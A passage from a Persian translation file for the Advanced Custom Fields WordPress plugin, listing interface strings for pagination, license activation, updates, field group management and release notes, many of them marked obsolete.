#: pro/fields/class-acf-repeater-table.php:444
msgid "First page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:448
msgid "Previous page"
msgstr ""

#. translators: 1: Current page, 2: Total pages.
#: pro/fields/class-acf-repeater-table.php:457
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:465
msgid "Next page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:469
msgid "Last page"
msgstr ""

#: pro/locations/class-acf-location-block.php:71
msgid "No block types exist"
msgstr ""

#: pro/locations/class-acf-location-options-page.php:22
msgid "Options Page"
msgstr "برگه تنظیمات"

#: pro/locations/class-acf-location-options-page.php:70
msgid "No options pages exist"
msgstr "هیچ صفحه تنظیماتی یافت نشد"

#: pro/admin/views/html-settings-updates.php:6
msgid "Deactivate License"
msgstr "غیرفعال سازی لایسنس"

#: pro/admin/views/html-settings-updates.php:6
msgid "Activate License"
msgstr "فعال سازی لایسنس"

#: pro/admin/views/html-settings-updates.php:16
msgid "License Information"
msgstr "اطلاعات لایسنس"

#: pro/admin/views/html-settings-updates.php:34
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"برای به روزرسانی لطفا کد لایسنس را وارد  کنید. <a href=\"%s\" target=\"_blank"
"\">قیمت ها</a>."

#: pro/admin/views/html-settings-updates.php:41
msgid "License Key"
msgstr "کلید لایسنس"

#: pro/admin/views/html-settings-updates.php:22
msgid "Your license key is defined in wp-config.php."
msgstr ""

#: pro/admin/views/html-settings-updates.php:29
msgid "Retry Activation"
msgstr ""

#: pro/admin/views/html-settings-updates.php:76
msgid "Update Information"
msgstr "اطلاعات به روز رسانی"

#: pro/admin/views/html-settings-updates.php:83
msgid "Current Version"
msgstr "نسخه فعلی"

#: pro/admin/views/html-settings-updates.php:91
msgid "Latest Version"
msgstr "آخرین نسخه"

#: pro/admin/views/html-settings-updates.php:99
msgid "Update Available"
msgstr "بروزرسانی موجود است"

#: pro/admin/views/html-settings-updates.php:116
msgid "No"
msgstr "خیر"

#: pro/admin/views/html-settings-updates.php:104
msgid "Yes"
msgstr "بله"

#: pro/admin/views/html-settings-updates.php:111
msgid "Please enter your license key above to unlock updates"
msgstr "برای فعالسازی به روزرسانی لایسنس خود را بنویسید"

#: pro/admin/views/html-settings-updates.php:109
msgid "Update Plugin"
msgstr "بروزرسانی افزونه"

#: pro/admin/views/html-settings-updates.php:107
msgid "Please reactivate your license to unlock updates"
msgstr ""

#: pro/admin/views/html-settings-updates.php:124
msgid "Changelog"
msgstr "تغییرات"

#: pro/admin/views/html-settings-updates.php:134
msgid "Upgrade Notice"
msgstr "نکات به روزرسانی"

#~ msgid "Advanced Custom Fields"
#~ msgstr "زمینه‌های سفارشی پیشرفته"

#~ msgid "Field Groups"
#~ msgstr "گروه‌های زمینه"

#~ msgid "Field Group"
#~ msgstr "گروه زمینه"

#~ msgid "Add New Field Group"
#~ msgstr "افزودن گروه زمینه جدید"

#~ msgid "Edit Field Group"
#~ msgstr "ویرایش گروه زمینه"

#~ msgid "New Field Group"
#~ msgstr "گروه زمینه جدید"

#~ msgid "View Field Group"
#~ msgstr "مشاهده گروه زمینه"

#~ msgid "Search Field Groups"
#~ msgstr "جستجوی گروه های زمینه"

#~ msgid "No Field Groups found"
#~ msgstr "گروه زمینه ای یافت نشد"

#~ msgid "No Field Groups found in Trash"
#~ msgstr "گروه زمینه ای در زباله دان یافت نشد"

#~ msgid "Field"
#~ msgstr "زمینه"

#~ msgid "Add New Field"
#~ msgstr "زمینه جدید"

#~ msgid "Edit Field"
#~ msgstr "ویرایش زمینه"

#~ msgid "New Field"
#~ msgstr "زمینه جدید"

#~ msgid "View Field"
#~ msgstr "نمایش زمینه"

#~ msgid "Search Fields"
#~ msgstr "جستجوی گروه های زمینه"

#~ msgid "No Fields found"
#~ msgstr "گروه زمینه ای یافت نشد"

#~ msgid "No Fields found in Trash"
#~ msgstr "گروه زمینه ای در زباله دان یافت نشد"

#~ msgid "Inactive"
#~ msgstr "غیرفعال"

#, php-format
#~ msgid "Inactive <span class=\"count\">(%s)</span>"
#~ msgid_plural "Inactive <span class=\"count\">(%s)</span>"
#~ msgstr[0] "غیرفعال <span class=\"count\">(%s)</span>"
#~ msgstr[1] "غیرفعال <span class=\"count\">(%s)</span>"

#~ msgid "(no label)"
#~ msgstr "(بدون برچسب)"

#~ msgid "copy"
#~ msgstr "کپی"

#~ msgid "Field group updated."
#~ msgstr "گروه زمینه بروز شد."

#~ msgid "Field group deleted."
#~ msgstr "گروه زمینه حذف شد."

#~ msgid "Field group published."
#~ msgstr "گروه زمینه انتشار یافت."

#~ msgid "Field group saved."
#~ msgstr "گروه زمینه ذخیره شد."

#~ msgid "Field group submitted."
#~ msgstr "گروه زمینه ارسال شد."

#~ msgid "Field group scheduled for."
#~ msgstr "گروه زمینه برنامه ریزی انتشار پیدا کرده برای."

#~ msgid "Field group draft updated."
#~ msgstr "پیش نویش گروه زمینه بروز شد."

#~ msgid "The string \"field_\" may not be used at the start of a field name"
#~ msgstr "کلمه متنی \"field_\" نباید در ابتدای نام فیلد استفاده شود"

#~ msgid "This field cannot be moved until its changes have been saved"
#~ msgstr "این زمینه قبل از اینکه ذخیره شود نمی تواند جابجا شود"

#~ msgid "Field group title is required"
#~ msgstr "عنوان گروه زمینه ضروری است"

#~ msgid "Move to trash. Are you sure?"
#~ msgstr "انتقال به زباله دان، آیا شما مطمئنید؟"

#~ msgid "No toggle fields available"
#~ msgstr "هیچ زمینه شرط پذیری موجود نیست"

#~ msgid "Move Custom Field"
#~ msgstr "جابجایی زمینه دلخواه"

#~ msgid "Checked"
#~ msgstr "انتخاب شده"

#~ msgid "(this field)"
#~ msgstr "(این گزینه)"

#~ msgid "or"
#~ msgstr "یا"

#~ msgid "Null"
#~ msgstr "خالی (null)"

#~ msgid "Location"
#~ msgstr "مکان"

#~ msgid "Settings"
#~ msgstr "تنظیمات"

#~ msgid "Field Keys"
#~ msgstr "کایدهای زمینه"

#~ msgid "Active"
#~ msgstr "فعال"

#~ msgid "Move Complete."
#~ msgstr "انتقال کامل شد."

#, php-format
#~ msgid "The %s field can now be found in the %s field group"
#~ msgstr "زمینه %s اکنون در گروه زمینه %s  قرار گرفته است"

#~ msgid "Close Window"
#~ msgstr "بستن زمینه"

#~ msgid "Please select the destination for this field"
#~ msgstr "مقصد انتقال این زمینه را مشخص کنید"

#~ msgid "Move Field"
#~ msgstr "جابجایی زمینه"

#, php-format
#~ msgid "Active <span class=\"count\">(%s)</span>"
#~ msgid_plural "Active <span class=\"count\">(%s)</span>"
#~ msgstr[0] "فعال <span class=\"count\">(%s)</span>"
#~ msgstr[1] "فعال <span class=\"count\">(%s)</span>"

#, php-format
#~ msgid "Field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "%s گروه زمینه تکثیر شدند."
#~ msgstr[1] "گروه زمینه تکثیر شد."

#, php-format
#~ msgid "Field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "%s گروه زمینه همگام سازی شد."
#~ msgstr[1] "گروه زمینه همگام سازی شد."

#~ msgid "Sync available"
#~ msgstr "هماهنگ سازی موجود است"

#~ msgid "Status"
#~ msgstr "وضعیت"

#~ msgid "Customize WordPress with powerful, professional and intuitive fields."
#~ msgstr "وردپرس را با زمینه‌های حرفه‌ای و قدرتمند سفارشی کنید."

#, php-format
#~ msgid "See what's new in <a href=\"%s\">version %s</a>."
#~ msgstr "مشاهده موارد جدید <a href=\"%s\">نسخه %s</a>."

#~ msgid "Resources"
#~ msgstr "منابع"

#~ msgid "Website"
#~ msgstr "وب سایت"

#~ msgid "Documentation"
#~ msgstr "مستندات"

#~ msgid "Support"
#~ msgstr "پشتیبانی"

#~ msgid "Pro"
#~ msgstr "پیشرفته"

#, php-format
#~ msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
#~ msgstr "با تشکر از شما برای استفاده از  <a href=\"%s\">ACF</a>."

#~ msgid "Duplicate this item"
#~ msgstr "تکثیر این زمینه"

#~ msgid "Search"
#~ msgstr "جستجو"

#, php-format
#~ msgid "Select %s"
#~ msgstr "انتخاب %s"

#~ msgid "Synchronise field group"
#~ msgstr "هماهنگ سازی گروه زمینه"

#~ msgid "Sync"
#~ msgstr "هماهنگ"

#~ msgid "Apply"
#~ msgstr "اعمال"

#~ msgid "Bulk Actions"
#~ msgstr "اعمال گروهی"

#~ msgid "Tools"
#~ msgstr "ابزارها"

#~ msgid "Upgrade Database"
#~ msgstr "به‌روزرسانی پایگاه داده"

#~ msgid "Review sites & upgrade"
#~ msgstr "بازبینی و به‌روزرسانی سایت‌ها"

#~ msgid "Custom Fields"
#~ msgstr "زمینه‌های سفارشی"

#~ msgid "Info"
#~ msgstr "اطلاعات"

#~ msgid "What's New"
#~ msgstr "چه چیز جدید است"

#~ msgid "Export Field Groups"
#~ msgstr "برون بری گروه های زمینه"

#~ msgid "Generate PHP"
#~ msgstr "تولید کد PHP"

#~ msgid "No field groups selected"
#~ msgstr "گروه زمینه ای انتخاب نشده است"

#, php-format
#~ msgid "Exported 1 field group."
#~ msgid_plural "Exported %s field groups."
#~ msgstr[0] "%s گروه زمینه برون‌بری شد."
#~ msgstr[1] "۱ گروه زمینه برون‌بری شد."

#~ msgid "Select Field Groups"
#~ msgstr "انتخاب گروه های زمینه"

#~ msgid ""
#~ "Select the field groups you would like to export and then select your "
#~ "export method. Use the download button to export to a .json file which you "
#~ "can then import to another ACF installation. Use the generate button to "
#~ "export to PHP code which you can place in your theme."
#~ msgstr ""
#~ "گروه زمینه‌هایی که مایل به تهیه خروجی آنها هستید را انتخاب کنید و در ادامه "
#~ "روش خروجی را نیز مشخص کنید. از دکمه دانلود برای خروجی فایل .json برای وارد "
#~ "کردن در یک سایت دیگر که این افزونه نصب شده است استفاده کنید. از دکمه تولید "
#~ "می توانید برای ساخت کد PHP برای قراردادن در قالب خود استفاده کنید."

#~ msgid "Export File"
#~ msgstr "خروجی فایل"

#~ msgid ""
#~ "The following code can be used to register a local version of the selected "
#~ "field group(s). A local field group can provide many benefits such as "
#~ "faster load times, version control & dynamic fields/settings. Simply copy "
#~ "and paste the following code to your theme's functions.php file or include "
#~ "it within an external file."
#~ msgstr ""
#~ "این کد می تواند برای ثبت یک نسخه محلی (لوکال)از گروه زمینه‌های انتخاب شده "
#~ "استفاده شود. یک نسخه محلی فواید زیادی دارد، مثلا سرعت لود بالاتر، کنترل "
#~ "نسخه و پویاسازی زمینه ها و تنظیماتشان. به راحتی می توانید کد زیر را در "
#~ "فایل function.php خود کپی کنید و یا از یک فایل دیگر انرا فراخوانی نمایید."

#~ msgid "Copy to clipboard"
#~ msgstr "درج در حافظه موقت"

#~ msgid "Copied"
#~ msgstr "کپی شد"

#~ msgid "Import Field Groups"
#~ msgstr "وارد کردن گروه های زمینه"

#~ msgid ""
#~ "Select the Advanced Custom Fields JSON file you would like to import. When "
#~ "you click the import button below, ACF will import the field groups."
#~ msgstr ""
#~ "فایل JSON ای که قبلا از این افزونه خروجی گرفته اید را انتخاب کنید تا وارد "
#~ "شود. زمانی که دکمه وارد کردن را در زیر کلیک کنید، سیستم اقدام به ساخت گروه "
#~ "های زمینه خواهد نمود."

#~ msgid "Select File"
#~ msgstr "انتخاب پرونده"

#~ msgid "Import File"
#~ msgstr "وارد کردن فایل"

#~ msgid "No file selected"
#~ msgstr "هیچ پرونده ای انتخاب نشده"

#~ msgid "Error uploading file. Please try again"
#~ msgstr "خطا در آپلود فایل. لطفا مجدد بررسی کنید"

#~ msgid "Incorrect file type"
#~ msgstr "نوع فایل صحیح نیست"

#~ msgid "Import file empty"
#~ msgstr "فایل وارد شده خالی است"

#, php-format
#~ msgid "Imported 1 field group"
#~ msgid_plural "Imported %s field groups"
#~ msgstr[0] "%s گروه زمینه درون‌ریزی شد"
#~ msgstr[1] "۱ گروه زمینه درون‌ریزی شد"

#~ msgid "Conditional Logic"
#~ msgstr "منطق شرطی"

#~ msgid "Show this field if"
#~ msgstr "نمایش این گروه زمینه اگر"

#~ msgid "and"
#~ msgstr "و"

#~ msgid "Add rule group"
#~ msgstr "افزودن گروه قانون"

#~ msgid "Edit field"
#~ msgstr "ویرایش زمینه"

#~ msgid "Duplicate field"
#~ msgstr "تکثیر زمینه"

#~ msgid "Move field to another group"
#~ msgstr "انتقال زمینه ها به گروه دیگر"

#~ msgid "Move"
#~ msgstr "انتقال"

#~ msgid "Delete field"
#~ msgstr "حذف زمینه"

#~ msgid "Field Label"
#~ msgstr "برچسب زمینه"

#~ msgid "This is the name which will appear on the EDIT page"
#~ msgstr "این نامی است که در صفحه \"ویرایش\" نمایش داده خواهد شد"

#~ msgid "Field Name"
#~ msgstr "نام زمینه"

#~ msgid "Single word, no spaces. Underscores and dashes allowed"
#~ msgstr "تک کلمه، بدون فاصله. خط زیرین و خط تیره ها مجازاند"

#~ msgid "Field Type"
#~ msgstr "نوع زمینه"

#~ msgid "Instructions"
#~ msgstr "دستورالعمل ها"

#~ msgid "Instructions for authors. Shown when submitting data"
#~ msgstr ""
#~ "دستورالعمل هایی برای نویسندگان. هنگام ارسال داده ها نمایش داده می شوند"

#~ msgid "Required?"
#~ msgstr "لازم است؟"

#~ msgid "Wrapper Attributes"
#~ msgstr "مشخصات پوشش فیلد"

#~ msgid "width"
#~ msgstr "عرض"

#~ msgid "class"
#~ msgstr "کلاس"

#~ msgid "id"
#~ msgstr "شناسه"

#~ msgid "Close Field"
#~ msgstr "بستن زمینه"

#~ msgid "Order"
#~ msgstr "ترتیب"

#~ msgid "Key"
#~ msgstr "کلید"

#~ msgid "Type"
#~ msgstr "نوع زمینه"

#~ msgid ""
#~ "No fields. Click the <strong>+ Add Field</strong> button to create your "
#~ "first field."
#~ msgstr ""
#~ "هیچ زمینه ای وجود ندارد. روی دکمه<strong>+ افزودن زمینه</strong> کلیک کنید "
#~ "تا اولین زمینه خود را بسازید."

#~ msgid "+ Add Field"
#~ msgstr "+ افزودن زمینه"

#~ msgid "Rules"
#~ msgstr "قوانین"

#~ msgid ""
#~ "Create a set of rules to determine which edit screens will use these "
#~ "advanced custom fields"
#~ msgstr ""
#~ "مجموعه ای از قوانین را بسازید تا مشخص کنید در کدام صفحه ویرایش، این "
#~ "زمینه‌های سفارشی سفارشی نمایش داده شوند"

#~ msgid "Style"
#~ msgstr "شیوه نمایش"

#~ msgid "Standard (WP metabox)"
#~ msgstr "استاندارد (دارای متاباکس)"

#~ msgid "Seamless (no metabox)"
#~ msgstr "بدون متاباکس"

#~ msgid "Position"
#~ msgstr "موقعیت"

#~ msgid "High (after title)"
#~ msgstr "بالا (بعد از عنوان)"

#~ msgid "Normal (after content)"
#~ msgstr "معمولی (بعد از ادیتور متن)"

#~ msgid "Side"
#~ msgstr "کنار"

#~ msgid "Label placement"
#~ msgstr "مکان برچسب"

#~ msgid "Top aligned"
#~ msgstr "سمت بالا"

#~ msgid "Left aligned"
#~ msgstr "سمت چپ"

#~ msgid "Instruction placement"
#~ msgstr "مکان دستورالعمل ها"

#~ msgid "Below labels"
#~ msgstr "زیر برچسب ها"

#~ msgid "Below fields"
#~ msgstr "زیر زمینه ها"

#~ msgid "Order No."
#~ msgstr "شماره ترتیب."

#~ msgid "Field groups with a lower order will appear first"
#~ msgstr "گروه ها با شماره ترتیب کمتر اول دیده می شوند"

#~ msgid "Shown in field group list"
#~ msgstr "نمایش لیست گروه زمینه"

#~ msgid "Permalink"
#~ msgstr "پیوند یکتا"

#~ msgid "Content Editor"
#~ msgstr "ویرایش گر محتوا(ادیتور اصلی)"

#~ msgid "Excerpt"
#~ msgstr "چکیده"

#~ msgid "Discussion"
#~ msgstr "گفتگو"

#~ msgid "Comments"
#~ msgstr "دیدگاه ها"

#~ msgid "Revisions"
#~ msgstr "بازنگری ها"

#~ msgid "Slug"
#~ msgstr "نامک"

#~ msgid "Author"
#~ msgstr "نویسنده"

#~ msgid "Format"
#~ msgstr "فرمت"

#~ msgid "Page Attributes"
#~ msgstr "صفات برگه"

#~ msgid "Featured Image"
#~ msgstr "تصویر شاخص"

#~ msgid "Categories"
#~ msgstr "دسته ها"

#~ msgid "Tags"
#~ msgstr "برچسب ها"

#~ msgid "Send Trackbacks"
#~ msgstr "ارسال بازتاب ها"

#~ msgid "Hide on screen"
#~ msgstr "مخفی کردن در صفحه"

#~ msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
#~ msgstr "<b>انتخاب</b> آیتم ها برای <b>پنهان کردن</b> آن ها از صفحه ویرایش."

#~ msgid ""
#~ "If multiple field groups appear on an edit screen, the first field group's "
#~ "options will be used (the one with the lowest order number)"
#~ msgstr ""
#~ "اگر چندین گروه زمینه در یک صفحه ویرایش نمایش داده شود،اولین تنظیمات گروه "
#~ "زمینه استفاده خواهد شد. (یکی با کمترین شماره)"

#, php-format
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click %s."
#~ msgstr "این سایت ها نیاز به به روز رسانی دارند برای انجام %s کلیک کنید."

#~ msgid "Upgrade Sites"
#~ msgstr "ارتقاء سایت"

#~ msgid "Site"
#~ msgstr "سایت"

#, php-format
#~ msgid "Site requires database upgrade from %s to %s"
#~ msgstr "سایت نیاز به به‌روزرسانی از %s به %s  دارد"

#~ msgid "Site is up to date"
#~ msgstr "سایت به روز است"

#, php-format
#~ msgid ""
#~ "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
#~ msgstr ""
#~ "به روزرسانی دیتابیس انجام شد. <a href=\"%s\">بازگشت به پیشخوان شبکه</a>"

#~ msgid "Please select at least one site to upgrade."
#~ msgstr "لطفا حداقل یک سایت برای ارتقا انتخاب کنید."

#~ msgid ""
#~ "It is strongly recommended that you backup your database before "
#~ "proceeding. Are you sure you wish to run the updater now?"
#~ msgstr ""
#~ "قویا توصیه می شود از بانک اطلاعاتی خود قبل از هر کاری پشتیبان تهیه کنید. "
#~ "آیا مایلید به روز رسانی انجام شود؟"

#, php-format
#~ msgid "Upgrading data to version %s"
#~ msgstr "به روز رسانی داده ها به نسحه %s"

#~ msgid "Upgrade complete."
#~ msgstr "ارتقا کامل شد."

#~ msgid "Upgrade failed."
#~ msgstr "ارتقا با خطا مواجه شد."

#~ msgid "Reading upgrade tasks..."
#~ msgstr "در حال خواندن مراحل به روزرسانی..."

#, php-format
#~ msgid "Database upgrade complete. <a href=\"%s\">See what's new</a>"
#~ msgstr ""
#~ "ارتقای پایگاه داده کامل شد. <a href=\"%s\"> تغییرات جدید را ببینید</a>"

#~ msgid "No updates available."
#~ msgstr "به‌روزرسانی موجود نیست."

#~ msgid "Back to all tools"
#~ msgstr "بازگشت به همه ابزارها"

#~ msgid "Show this field group if"
#~ msgstr "نمایش این گروه زمینه اگر"

#~ msgid "Database Upgrade Required"
#~ msgstr "به روزرسانی دیتابیس لازم است"

#, php-format
#~ msgid "Thank you for updating to %s v%s!"
#~ msgstr "از شما برای بروزرسانی به آخرین نسخه %s v%s ممنون هستیم!"

#~ msgid ""
#~ "This version contains improvements to your database and requires an "
#~ "upgrade."
#~ msgstr "این نسخه شامل بهبودهایی در پایگاه داده است و نیاز به ارتقا دارد."

#, php-format
#~ msgid ""
#~ "Please also check all premium add-ons (%s) are updated to the latest "
#~ "version."
#~ msgstr ""
#~ "همچنین لطفا همه افزونه‌های پولی (%s) را بررسی کنید که به نسخه آخر بروز شده "
#~ "باشند."

#~ msgid "Add-ons"
#~ msgstr "افزودنی ها"

#~ msgid "Download & Install"
#~ msgstr "دانلود و نصب"

#~ msgid "Installed"
#~ msgstr "نصب شده"

#~ msgid "Welcome to Advanced Custom Fields"
#~ msgstr "به افزونه زمینه‌های سفارشی پیشرفته خوش آمدید"

#, php-format
#~ msgid ""
#~ "Thank you for updating! ACF %s is bigger and better than ever before. We "
#~ "hope you like it."
#~ msgstr ""
#~ "از اینکه به روزرسانی کردید متشکریم! افزونه زمینه دلخواه پیشرفته  %s بزرگتر "
#~ "و بهتر از قبل شده است. امیدواریم لذت ببرید."

#~ msgid "A Smoother Experience"
#~ msgstr "یک تجربه راحتتر"

#~ msgid "Improved Usability"
#~ msgstr "کاربری بهینه شده"

#~ msgid ""
#~ "Including the popular Select2 library has improved both usability and "
#~ "speed across a number of field types including post object, page link, "
#~ "taxonomy and select."
#~ msgstr ""
#~ "استفاده از کتابخانه محبوب Select2 باعث سرعت در عملکرد و کاربری بهتر در "
#~ "انواع زمینه هاشامل آبجکت نوشته، پیوند(لینک) صفحه ، طبقه بندی و زمینه‌های "
#~ "انتخاب(Select) شده است."

#~ msgid "Improved Design"
#~ msgstr "طراحی بهینه شده"

#~ msgid ""
#~ "Many fields have undergone a visual refresh to make ACF look better than "
#~ "ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
#~ "(new) fields!"
#~ msgstr ""
#~ "بسیاری از زمینه ها از نظر ظاهری باز طراحی شدند تا این افزونه از قبل بهتر "
#~ "شده باشد. تغییرات چشم گیر در گالری و ارتباط و زمینه جدید به نام oEmbed "
#~ "صورت گرفته است!"

#~ msgid "Improved Data"
#~ msgstr "داده ها بهینه شده اند"

#~ msgid ""
#~ "Redesigning the data architecture has allowed sub fields to live "
#~ "independently from their parents. This allows you to drag and drop fields "
#~ "in and out of parent fields!"
#~ msgstr ""
#~ "بازطراحی معماری داده ها این اجازه را به زمینه‌های زیرمجموعه داده است که "
#~ "بدون زمینه‌های والد باقی بمانند. این به شما کمک می کند که زمینه ها را از یک "
#~ "فیلد اصلی خارج یا به آن وارد نمایید !"

#~ msgid "Goodbye Add-ons. Hello PRO"
#~ msgstr "خداحافظ افزودنی ها و سلام به نسخه حرفه ای"

#~ msgid "Introducing ACF PRO"
#~ msgstr "معرفی نسخه حرفه ای"

#~ msgid ""
#~ "We're changing the way premium functionality is delivered in an exciting "
#~ "way!"
#~ msgstr ""
#~ "ما در حال تغییر راه عملکردهای پولی افزونه به شیوه ای هیجان انگیز هستیم!"

#, php-format
#~ msgid ""
#~ "All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
#~ "version of ACF</a>. With both personal and developer licenses available, "
#~ "premium functionality is more affordable and accessible than ever before!"
#~ msgstr ""
#~ "هر چهار افزدونی پولی یکی شده و تحت عنوان <a href=\"%s\">نسخه حرفه ای (Pro) "
#~ "</a> از افزونه زمینه‌های سفارشی معرفی شده اند. دو نسخه شخصی و توسعه دهنده "
#~ "موجود است که در هر دو این امکانات بهتر و دسترس تر از قبل موجود است!"

#~ msgid "Powerful Features"
#~ msgstr "امکانات قدرتمند"

#~ msgid ""
#~ "ACF PRO contains powerful features such as repeatable data, flexible "
#~ "content layouts, a beautiful gallery field and the ability to create extra "
#~ "admin options pages!"
#~ msgstr ""
#~ "نسخه حرفه دارای امکانات قدرتمندی نظیر داده های تکرارپذیر، محتوای منعطف، یک "
#~ "زمینه گالری زیبا و امکان ساخت صفحات تنظیمات می باشد !"

#, php-format
#~ msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
#~ msgstr "اطلاعات بیشتر در  <a href=\"%s\">امکانات نسخه حرفه ای</a>."

#~ msgid "Easy Upgrading"
#~ msgstr "به روزرسانی آسان"

#~ msgid ""
#~ "Upgrading to ACF PRO is easy. Simply purchase a license online and "
#~ "download the plugin!"
#~ msgstr ""
#~ "ارتقا به نسخه حرفه‌ای آسان است. به سادگی لایسنس را بخرید و افزونه را دانلود "
#~ "کنید!"

#, php-format
#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
#~ "but if you do have one, please contact our support team via the <a href="
#~ "\"%s\">help desk</a>."
#~ msgstr ""
#~ "همچنین در <a href=\"%s\">اینجا</a> راهنمایی برای ارتقا وجود دارد که به "
#~ "سوالات شما پاسخ می‌دهد. لطفا از طریق <a href=\"%s\">میز راهنما</a> با تیم "
#~ "پشتیبانی تماس حاصل کنید."

#~ msgid "New Features"
#~ msgstr "ویژگی‌های جدید"

#~ msgid "Link Field"
#~ msgstr "زمینه پیوند (Link)"

#~ msgid ""
#~ "The Link field provides a simple way to select or define a link (url, "
#~ "title, target)."
#~ msgstr ""
#~ "با استفاده از زمینه پیوند میتوانید به سادگی یک روش برای انتخاب یا تعریف یک "
#~ "پیوند (url-title-target) ایجاد کنید."

#~ msgid "Group Field"
#~ msgstr "گروه زمینه"

#~ msgid "The Group field provides a simple way to create a group of fields."
#~ msgstr "با استفاده از گروه زمینه می‌توانید گروهی از زمینه‌ها را ایجاد کنید."

#~ msgid "oEmbed Field"
#~ msgstr "زمینه oEmbed"

#~ msgid ""
#~ "The oEmbed field allows an easy way to embed videos, images, tweets, "
#~ "audio, and other content."
#~ msgstr ""
#~ "با استفاده از زمینه oEmbed میتوانید به سادگی ویدیو، تصویر، توییت، صدا و "
#~ "محتواهای دیگر را جاسازی کنید."

#~ msgid "Clone Field"
#~ msgstr "فیلد کپی"

#~ msgid "The clone field allows you to select and display existing fields."
#~ msgstr ""
#~ "با استفاده از فیلد کپی میتوانید فیلدهای موجود را انتخاب کنید یا نمایش دهید."

#~ msgid "More AJAX"
#~ msgstr "ایجکس بیشتر"

#~ msgid "More fields use AJAX powered search to speed up page loading."
#~ msgstr ""
#~ "بیشتر زمینه‌ها از قدرت AJAX برای جستجو استفاده می‌کند تا سرعت بارگذاری را "
#~ "افزایش دهند."

#~ msgid "Local JSON"
#~ msgstr "JSON های لوکال"

#~ msgid ""
#~ "New auto export to JSON feature improves speed and allows for "
#~ "syncronisation."
#~ msgstr ""
#~ "ویژگی جدید برون‌بری خودکار به فایل JSON سرعت را بهبود داده و همگام سازی را "
#~ "فراهم می‌کند."

#~ msgid "Easy Import / Export"
#~ msgstr "درون‌ریزی یا برون‌بری آسان"

#~ msgid "Both import and export can easily be done through a new tools page."
#~ msgstr "درون ریزی یا برون بری به سادگی از طریق یک ابزار جدید انجام می‌شود."

#~ msgid "New Form Locations"
#~ msgstr "مکان جدید فرم‌ها"

#~ msgid ""
#~ "Fields can now be mapped to menus, menu items, comments, widgets and all "
#~ "user forms!"
#~ msgstr ""
#~ "زمینه‌ها اکنون می‌توانند به فهرست‌ها، موارد فهرست، دیدگاه‌ها، ابزارک‌ها و تمامی "
#~ "فرم‌های مرتبط با کاربر ارجاع داده شوند!"

#~ msgid "More Customization"
#~ msgstr "سفارشی سازی بیشتر"

#~ msgid ""
#~ "New PHP (and JS) actions and filters have been added to allow for more "
#~ "customization."
#~ msgstr ""
#~ "اکشن‌ها و فیلترهای جدید PHP (و JS) برای سفارشی سازی بیشتر اضافه شد‌ه‌اند."

#~ msgid "Fresh UI"
#~ msgstr "رابط کاربری تازه"

#~ msgid ""
#~ "The entire plugin has had a design refresh including new field types, "
#~ "settings and design!"
#~ msgstr "تمامی افزونه با یک رابط کاربری جدید بروز شده است!"

#~ msgid "New Settings"
#~ msgstr "تنظیمات جدید"

#~ msgid ""
#~ "Field group settings have been added for Active, Label Placement, "
#~ "Instructions Placement and Description."
#~ msgstr ""
#~ "تنظیمات گروه زمینه برای مکان برچسب، راهنمای قرارگیری و توضیحات اضافه شده "
#~ "است."

#~ msgid "Better Front End Forms"
#~ msgstr "فرم های سمت کاربر بهتر شده اند"

#~ msgid ""
#~ "acf_form() can now create a new post on submission with lots of new "
#~ "settings."
#~ msgstr ""
#~ "تابع acf_form() اکنون میتوانید نوشته‌های جدید را همراه با تنظیمات بیشتر ثبت "
#~ "کند."

#~ msgid "Better Validation"
#~ msgstr "خطایابی بهتر"

#~ msgid "Form validation is now done via PHP + AJAX in favour of only JS."
#~ msgstr "اعتبارسنجی فرم‌ها اکنون از طریق PHP + AJAX صورت می‌گیرد."

#~ msgid "Moving Fields"
#~ msgstr "جابجایی زمینه ها"

#~ msgid ""
#~ "New field group functionality allows you to move a field between groups & "
#~ "parents."
#~ msgstr ""
#~ "عملکرد جدید گروه زمینه اکنون اجازه می‌دهد تا یک زمینه را بین گروه‌ها و "
#~ "والدهای مختلف جابجا کنید."

#, php-format
#~ msgid "We think you'll love the changes in %s."
#~ msgstr "فکر می کنیم شما تغییرات در %s را دوست خواهید داشت."

#~ msgid "Thumbnail"
#~ msgstr "تصویر بندانگشتی"

#~ msgid "Medium"
#~ msgstr "متوسط"

#~ msgid "Large"
#~ msgstr "بزرگ"

#~ msgid "Full Size"
#~ msgstr "اندازه کامل"

#, php-format
#~ msgid "Image width must be at least %dpx."
#~ msgstr "عرض تصویر باید حداقل %d پیکسل باشد."

#, php-format
#~ msgid "Image width must not exceed %dpx."
#~ msgstr "عرض تصویر نباید از %d پیکسل بیشتر باشد."

#, php-format
#~ msgid "Image height must be at least %dpx."
#~ msgstr "ارتفاع فایل باید حداقل %d پیکسل باشد."

#, php-format
#~ msgid "Image height must not exceed %dpx."
#~ msgstr "ارتفاع تصویر نباید از %d پیکسل بیشتر باشد."

#, php-format
#~ msgid "File size must be at least %s."
#~ msgstr "حجم فایل باید حداقل %s باشد."

#, php-format
#~ msgid "File size must must not exceed %s."
#~ msgstr "حجم فایل ها نباید از %s بیشتر باشد."

#, php-format
#~ msgid "File type must be %s."
#~ msgstr "نوع فایل باید %s باشد."

#~ msgid "The changes you made will be lost if you navigate away from this page"
#~ msgstr "اگر از صفحه جاری خارج شوید ، تغییرات شما ذخیره نخواهند شد"

#~ msgctxt "verb"
#~ msgid "Select"
#~ msgstr "انتخاب"

#~ msgctxt "verb"
#~ msgid "Edit"
#~ msgstr "ویرایش"

#~ msgctxt "verb"
#~ msgid "Update"
#~ msgstr "بروزرسانی"

#~ msgid "Uploaded to this post"
#~ msgstr "بارگذاری شده در این نوشته"

#~ msgid "Expand Details"
#~ msgstr "نمایش جزئیات"

#~ msgid "Collapse Details"
